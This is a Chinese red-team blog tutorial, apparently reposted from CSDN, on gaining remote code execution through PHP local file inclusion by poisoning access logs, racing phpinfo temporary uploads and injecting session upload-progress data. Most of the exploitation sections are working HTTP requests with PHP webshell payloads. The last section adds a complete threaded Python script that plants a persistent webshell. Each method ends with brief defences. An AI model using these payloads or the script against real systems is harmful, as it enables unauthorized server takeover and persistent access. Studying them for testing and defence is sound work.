// 红队渗透 · 2025-03-04

Web文件包含实现RCE技术详解:日志、phpinfo和session三种方法

在PHP应用的某些漏洞场景中,本地文件包含(Local File Inclusion,简称LFI)漏洞可被攻击者利用,通过特定的文件(如日志文件、phpinfo页面生成的临时文件或PHP会话文件)实现远程代码执行(Remote Code Execution,简称RCE)。本文将详细剖析通过日志文件、phpinfo页面和PHP Session上传进度机制实现RCE的方法,带你解锁新姿势。


一、日志文件包含实现RCE

1.1 漏洞成因

日志文件包含攻击利用了Web服务器(如Apache或Nginx)记录客户端请求的特性。服务器通常将客户端的HTTP请求信息(如URL、User-Agent、Referer等)写入访问日志或错误日志(如/var/log/apache2/access.log或/var/log/nginx/error.log)。如果PHP应用存在未过滤的LFI漏洞,攻击者可以通过以下方式实现RCE:

  • 客户端输入记录:服务器日志可能记录客户端提交的恶意数据(如User-Agent头中的PHP代码)。
  • LFI漏洞:PHP脚本通过include()或require()函数直接使用用户输入(如$_GET['file'])作为文件路径,且未进行严格的路径验证,导致攻击者可包含任意文件。
  • PHP解析特性:日志文件中的恶意PHP代码在被包含时会被PHP引擎解析并执行。

典型场景:

  • 服务器未对客户端输入进行过滤,直接记录到日志。
  • LFI漏洞允许攻击者通过路径穿越(如../../)访问日志文件。

1.2 适用条件

  • LFI漏洞存在:PHP应用中存在未过滤的文件包含点,例如:
    include($_GET['file']);
  • 日志记录客户端输入:Web服务器配置(如Apache的CustomLog或Nginx的access_log)记录了User-Agent、Referer或URL参数。
  • 日志文件可读:PHP进程对日志文件(如/var/log/apache2/access.log)具有读权限。
  • PHP解析生效:日志文件内容在被包含时能被PHP引擎解析为代码(未被转义或以纯文本处理)。

1.3 利用方法

  1. 注入恶意PHP代码到日志: 攻击者通过HTTP请求将恶意PHP代码注入服务器日志。例如,修改User-Agent头:

    GET /index.php HTTP/1.1
    Host: target.com
    User-Agent: <?php system($_GET['cmd']); ?>

    假设Apache配置为记录User-Agent,日志文件/var/log/apache2/access.log将包含:

    192.168.1.100 - - [20/Jun/2025:19:49:00 +0800] "GET /index.php HTTP/1.1" 200 1234 "-" "<?php system($_GET['cmd']); ?>"
  2. 通过LFI包含日志文件: 攻击者利用LFI漏洞,构造请求包含日志文件:

    GET /lfi.php?file=/var/log/apache2/access.log HTTP/1.1
    Host: target.com

    如果lfi.php包含如下代码:

    include($_GET['file']);

    服务器将解析日志文件,执行其中的<?php system($_GET['cmd']); ?>。

  3. 执行远程命令: 攻击者通过附加参数执行系统命令:

    GET /lfi.php?file=/var/log/apache2/access.log&cmd=whoami HTTP/1.1
    Host: target.com

    服务器将执行system('whoami'),返回当前用户(如www-data)。

  4. 高级利用: 为提高稳定性,攻击者可能注入更复杂的代码,例如:

    User-Agent: <?php file_put_contents('/var/www/html/shell.php', '<?php system($_REQUEST["cmd"]); ?>'); ?>

    通过LFI包含日志后,生成持久化WebShell(shell.php),随后通过以下请求执行命令:

    POST /shell.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    cmd=id

1.4 防御措施

  • 限制日志记录内容:在Web服务器配置中,避免记录User-Agent、Referer等客户端可控字段,或对输入进行严格转义。
  • 限制日志文件权限:将日志文件(如/var/log/apache2/access.log)的权限设置为仅系统用户可读,防止PHP进程访问。
  • 过滤LFI参数:对文件包含参数使用白名单验证,仅允许特定文件路径(如include('pages/' . basename($_GET['file']));)。
  • 禁用危险函数:在php.ini中通过disable_functions禁用system()、exec()等高危函数。

二、通过phpinfo页面实现RCE

2.1 漏洞成因

phpinfo()函数用于展示PHP环境的详细配置信息,包括全局变量(如$_FILES)。当PHP启用file_uploads功能时,上传的文件会被临时存储在系统临时目录(如/tmp/phpXXXXXX)。攻击者可通过以下方式实现RCE:

  • 文件上传机制:上传包含恶意PHP代码的文件,存储为临时文件。
  • phpinfo页面泄露:phpinfo()页面显示$_FILES变量,泄露临时文件路径。
  • LFI漏洞:通过LFI包含临时文件,执行其中的恶意代码。

典型场景:

  • 开发或调试环境中存在phpinfo.php页面。
  • LFI漏洞允许访问临时目录(如/tmp)。
  • 服务器未及时清理临时文件。

2.2 适用条件

  • LFI漏洞存在:PHP应用允许用户输入文件路径,且未限制路径穿越。
  • file_uploads启用:php.ini中file_uploads = On,允许文件上传。
  • phpinfo页面可访问:目标服务器存在phpinfo()页面,且未限制访问。
  • 临时文件可读:PHP进程对临时目录(如/tmp)具有读权限。
  • 临时文件未被快速清理:系统未配置立即删除上传的临时文件。

2.3 利用方法

  1. 构造恶意文件上传请求: 攻击者向phpinfo.php发送包含恶意PHP代码的文件:

    POST /phpinfo.php HTTP/1.1
    Host: target.com
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    Content-Length: <length>
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="malicious.txt"
    Content-Type: text/plain
    
    <?php system($_POST['cmd']); ?>
    ------WebKitFormBoundary--

    文件被存储为临时文件,如/tmp/php3D9f1。

  2. 通过phpinfo获取临时文件路径: 访问phpinfo.php,查看$_FILES变量:

    $_FILES['file'] => array (
        'name' => 'malicious.txt',
        'type' => 'text/plain',
        'tmp_name' => '/tmp/php3D9f1',
        'error' => 0,
        'size' => 123,
    )

    攻击者获取临时文件路径/tmp/php3D9f1。

  3. 利用LFI包含临时文件: 构造LFI请求:

    GET /lfi.php?file=/tmp/php3D9f1 HTTP/1.1
    Host: target.com

    服务器包含并执行/tmp/php3D9f1中的<?php system($_POST['cmd']); ?>。

  4. 执行远程命令: 攻击者通过POST请求执行命令:

    POST /lfi.php?file=/tmp/php3D9f1 HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    cmd=whoami

    服务器返回www-data。

  5. 高级利用: 为持久化控制,攻击者可上传以下代码:

    <?php file_put_contents('/var/www/html/shell.php', '<?php system($_POST["cmd"]); ?>'); ?>

    通过LFI执行后,生成shell.php,随后通过POST请求调用:

    POST /shell.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    cmd=whoami

2.4 防御措施

  • 禁用phpinfo页面:生产环境中移除phpinfo.php或通过.htaccess限制访问(如Deny from all)。
  • 禁用file_uploads:在php.ini中设置file_uploads = Off,若无需文件上传功能。
  • 清理临时文件:配置系统定期清理/tmp目录,或设置upload_tmp_dir到不可访问目录。
  • LFI过滤:对文件包含参数进行白名单验证,防止路径穿越。
  • 限制临时文件权限:确保PHP进程无法读取非预期临时文件。

三、通过PHP Session上传进度实现RCE

3.1 漏洞成因

PHP的PHP_SESSION_UPLOAD_PROGRESS功能用于跟踪文件上传进度。当session.upload_progress.enabled = On时,PHP会在用户上传文件时将进度信息写入会话文件(如/var/lib/php/sessions/sess_<PHPSESSID>)。攻击者可通过以下方式实现RCE:

  • 可控会话文件:攻击者通过PHP_SESSION_UPLOAD_PROGRESS参数注入恶意PHP代码到会话文件。
  • LFI漏洞:通过路径穿越包含会话文件,执行其中的代码。
  • 持久化WebShell:会话文件中的代码可写入持久化WebShell。

典型场景:

  • 目标启用session.upload_progress.enabled。
  • LFI漏洞允许访问会话文件目录。
  • 攻击者可控制PHPSESSID,生成可预测的会话文件。

3.2 适用条件

  • LFI漏洞存在:PHP应用未过滤文件包含参数。
  • session.upload_progress启用:php.ini中session.upload_progress.enabled = On。
  • 会话文件可读:PHP进程对会话文件目录(如/var/lib/php/sessions)具有读权限。
  • 可控PHPSESSID:攻击者可通过Cookie设置自定义PHPSESSID。
  • 文件上传支持:服务器接受multipart/form-data请求。

3.3 利用方法

  1. 构造恶意上传请求: 攻击者设置PHPSESSID并发送包含恶意代码的上传请求:

    POST /index.php HTTP/1.1
    Host: target.com
    Cookie: PHPSESSID=balalala
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
    Content-Length: <length>
    
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
    
    <?php file_put_contents('/var/www/html/xiamao.php', '<?php system($_POST["cmd"]); ?>'); ?>
    ------WebKitFormBoundary
    Content-Disposition: form-data; name="file"; filename="dummy.txt"
    Content-Type: text/plain
    
    Dummy content
    ------WebKitFormBoundary--

    这会在/var/lib/php/sessions/sess_balalala写入恶意代码。

  2. 通过LFI包含会话文件: 攻击者构造LFI请求:

    GET /manage.php?file=../../../../../../../../var/lib/php/sessions/sess_balalala HTTP/1.1
    Host: target.com
    Cookie: PHPSESSID=balalala

    服务器执行会话文件中的代码,生成xiamao.php。

  3. 访问WebShell: 攻击者通过POST请求调用xiamao.php:

    POST /xiamao.php HTTP/1.1
    Host: target.com
    Content-Type: application/x-www-form-urlencoded
    
    cmd=whoami
  4. 自动化利用脚本: 以下Python脚本实现自动化攻击:

    import io
    import sys
    import requests
    import threading
    
    # 初始化变量
    sessid = 'balalala'
    shell_filename = 'xiamao.php'
    ip = '192.168.1.116'
    
    def POST(session):
        """持续注入恶意代码到会话文件"""
        while True:
            f = io.BytesIO(b'a' * 1024 * 50)  # 触发上传进度
            session.post(
                f'http://{ip}/index.php',
                data={
                    "PHP_SESSION_UPLOAD_PROGRESS": f"""<?php echo 'fcb_xiamao';
    file_put_contents('/var/www/html/{shell_filename}', '<?php system($_POST["cmd"]); ?>');?>"""
                },
                files={"file": ('filename', f)},
                cookies={'PHPSESSID': sessid}
            )
    
    def READ():
        """包含会话文件并验证WebShell"""
        session = requests.Session()
        session.post(f'http://{ip}/manage.php', data={
            "username": "admin",
            "password": "transorbital1"
        })
        session_id = session.cookies.get('PHPSESSID')
    
        while True:
            response = session.get(
                f'http://{ip}/manage.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}'
            )
            if "fcb_xiamao" not in response.text:
                continue
            res_she = session.post(
                f'http://{ip}/{shell_filename}',
                data={'cmd': 'system("whoami");'}
            )
            if res_she.status_code == 200 and 'www-data' in res_she.text:
                print(f"✅ WebShell 已部署:http://{ip}/{shell_filename}")
                print("密码参数:cmd")
                print(f"Cookie: PHPSESSID={session_id}")
                sys.exit(0)
    
    if __name__ == "__main__":
        with requests.session() as session:
            t1 = threading.Thread(target=POST, args=(session,))
            t1.daemon = True
            t1.start()
            READ()

3.4 防御措施

  • 禁用session.upload_progress:在php.ini中设置session.upload_progress.enabled = Off。
  • 限制会话文件权限:确保/var/lib/php/sessions仅系统用户可读。
  • LFI过滤:对文件包含参数进行白名单验证。
  • 验证上传内容:检查multipart/form-data请求,过滤恶意PHP_SESSION_UPLOAD_PROGRESS值。
  • 随机化PHPSESSID:避免攻击者控制会话ID。

总结

日志文件、phpinfo页面和PHP Session上传进度机制是利用LFI漏洞实现RCE的三大典型途径。日志包含利用服务器记录客户端输入的特性,注入恶意PHP代码;phpinfo利用文件上传和信息泄露获取临时文件路径;Session利用上传进度功能注入代码到会话文件。三者均需LFI漏洞配合,分别依赖日志记录、file_uploads启用和session.upload_progress配置。防御关键在于禁用不必要功能、严格过滤输入、限制文件权限及加强监控,确保PHP应用安全。

原文 https://blog.csdn.net/2301_79518550/article/details/145916657